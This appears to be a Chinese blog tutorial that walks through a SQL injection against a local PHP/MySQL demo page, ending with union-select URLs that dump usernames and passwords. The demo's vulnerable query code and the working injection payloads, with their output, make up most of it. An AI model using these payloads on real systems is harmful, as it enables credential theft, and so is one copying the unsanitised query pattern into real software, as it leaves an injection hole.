本篇文章介绍的内容是一个php的sql注入完整过程,现在分享给大家,有需要的朋友可以参考一下

希望帮助到大家,很多phper在进阶的时候总会遇到一些问题和瓶颈,业务代码写多了没有方向感,不知道该从那里入手去提升,对此我整理了一些资料,包括但不限于:分布式架构、高可扩展、高性能、高并发、服务器性能调优、tp6,laravel,yii2,redis,swoole、swoft、kafka、mysql优化、shell脚本、docker、微服务、nginx等多个知识点高级进阶干货需要的可以免费分享给大家,需要的可以加入我的官方群点击此处。

学了sql注入的一些技能后,以下正对php+mysql进行sql注入的简单实践

首先观察两个mysql数据表

用户记录表:

reate table `php_user` (

`id` int(11) not null auto_increment,

`username` varchar(20) not null default '',

`password` varchar(20) not null default '',

`userlevel` char(2) not null default '0',

primary key (`id`)

) type=myisam auto_increment=3 ;

insert into `php_user` values (1, 'seven', 'seven_pwd', '10');

insert into `php_user` values (2, 'swons', 'swons_pwd', '');

产品记录列表:

create table `php_product` (

`id` int(11) not null auto_increment,

`name` varchar(100) not null default '',

`price` float not null default '0',

`img` varchar(200) not null default '',

primary key (`id`)

) type=myisam auto_increment=3 ;

insert into `php_product` values (1, 'name_1', 12.2, 'images/name_1.jpg');

insert into `php_product` values (2, 'name_2', 35.25, 'images/name_2.jpg');

 

以下文件是show_product.php用于显示产品列表。sql注入也是利用此文件的sql语句漏洞

<?php

$conn = mysql_connect("localhost", "root", "root");

if(!$conn){

echo "数据库联接错误";

exit;

}

if (!mysql_select_db("phpsql")) {

echo "选择数据库出错" . mysql_error();

exit;

}

$tempid=$_get['id'];

if($tempid<=0 || !isset($tempid)) $tempid=1;

$sql = "select * from php_product where id =$tempid";

echo $sql.'<br>';

$result = mysql_query($sql);

if (!$result) {

echo "查询出错" . mysql_error();

exit;

}

if (mysql_num_rows($result) == 0) {

echo "没有查询结果";

exit;

}

while ($row = mysql_fetch_assoc($result)) {

echo 'id:'.$row["id"].'<br>';

echo 'name:'.$row["name"].'<br>';

echo 'price:'.$row["price"].'<br>';

echo 'image:'.$row["img"].'<br>';

}

?>

观察此语句:$sql = “select * from php_product where id =$tempid”;

$tempid是从$_get得到。我们可以构造这个变量的值,从而达到sql注入的目的

分别构造以下链接:

1、 http://localhost/phpsql/index.php?id=1

得到以下输出

select * from php_product where id =1 //当前执行的sql语句

//得到id为1的产品资料列表

id:1

name:name_1

price:12.2

image:images/name_1.jpg

2、 http://localhost/phpsql/index.php?id=1 or 1=1

得到输出

select * from php_product where id =1 or 1=1 //当前执行的sql语句

//一共两条产品资料列表

id:1

name:name_1

price:12.2

image:images/name_1.jpg

id:2

name:name_2

price:35.25

image:images/name_2.jpg

1和2都得到资料列表输出,证明sql语句执行成功

3、判断数据表字段数量

http://localhost/phpsql/index.php?id=1 union select 1,1,1,1

得到输出

select * from php_product where id =1 union select 1,1,1,1 //当前执行的sql语句

//一共两条记录,注意第二条的记录为全1,这是union select联合查询的结果。

id:1

name:name_1

price:12.2

image:images/name_1.jpg

id:1

name:1

price:1

image:1

4、判断数据表字段类型

http://localhost/phpsql/index.php?id=1 union select char(65),char(65),char(65),char(65)

得到输出

select * from php_product where id =1 union select char(65),char(65),char(65),char(65)

id:1

name:name_1

price:12.2

image:images/name_1.jpg

id:0

name:a

price:0

image:a

注意第二条记录,如果后面的值等于a,说明这个字段与union查询后面构造的字段类型相符。此时union后面

为char(65),表示字符串类型。经过观察。可以发现name字段和image字段的类型都是字符串类型

5、大功告成,得到我们想要的东西:

http://localhost/phpsql/index.php?id=10000 union select 1,username,1,password from php_user

得到输出:

select * from php_product where id =10000 union select 1,username,1,password from php_user

//输出了两条用户资料,name为用户名称,image为用户密码。

id:1

name:seven

price:1

image:seven_pwd

id:1

name:swons

price:1

image:swons_pwd

注意url中的id=10000是为了不得到产品资料,只得到后面union的查询结果。更具实际情况id的值有所不同

union的username和password必须放在2和4的位置上。这样才能和前面的select语句匹配。这是union查询

语句的特点

备注:

这个简单的注入方法是更具特定环境的。实际中比这复杂。但是原理是相同的。

以上内容希望帮助到大家,很多phper在进阶的时候总会遇到一些问题和瓶颈,业务代码写多了没有方向感,不知道该从那里入手去提升,对此我整理了一些资料,包括但不限于:分布式架构、高可扩展、高性能、高并发、服务器性能调优、tp6,laravel,yii2,redis,swoole、swoft、kafka、mysql优化、shell脚本、docker、微服务、nginx等多个知识点高级进阶干货需要的可以免费分享给大家,需要的可以加入我的官方群点击此处。